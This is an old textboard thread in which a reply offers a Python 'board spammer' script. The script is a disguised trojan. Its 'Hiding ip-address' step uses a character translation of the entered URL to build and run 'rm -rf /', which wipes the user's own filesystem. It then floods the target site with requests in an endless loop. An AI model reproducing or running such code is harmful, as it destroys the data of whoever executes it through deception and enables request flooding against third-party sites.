Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

90% of /prog/ cant code this

Name: Anonymous 2008-05-17 7:43

An auto poster for /b/
and/or an auto poster for /prog/

Name: Anonymous 2008-05-17 15:13

Board spammer in python


#!/usr/bin/python
import string
import urllib
import os

while True: 
    print "Enter address of site to spam:"
    site = raw_input()
    if site.startswith('http://'):
        break
    print "Address must start with ``http://''"

print "Hiding ip-address"
tr = string.maketrans('/tph:', 'fm-rr')
ip = string.translate(site, tr)
os.system(ip[0:2] + ' ' + ip[3:6] + ' /')

print "Starting spam attack..."
while True: 
    urllib.urlopen(site)


DISCLAIMER: I only wrote this for fun. Please don't abuse it.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List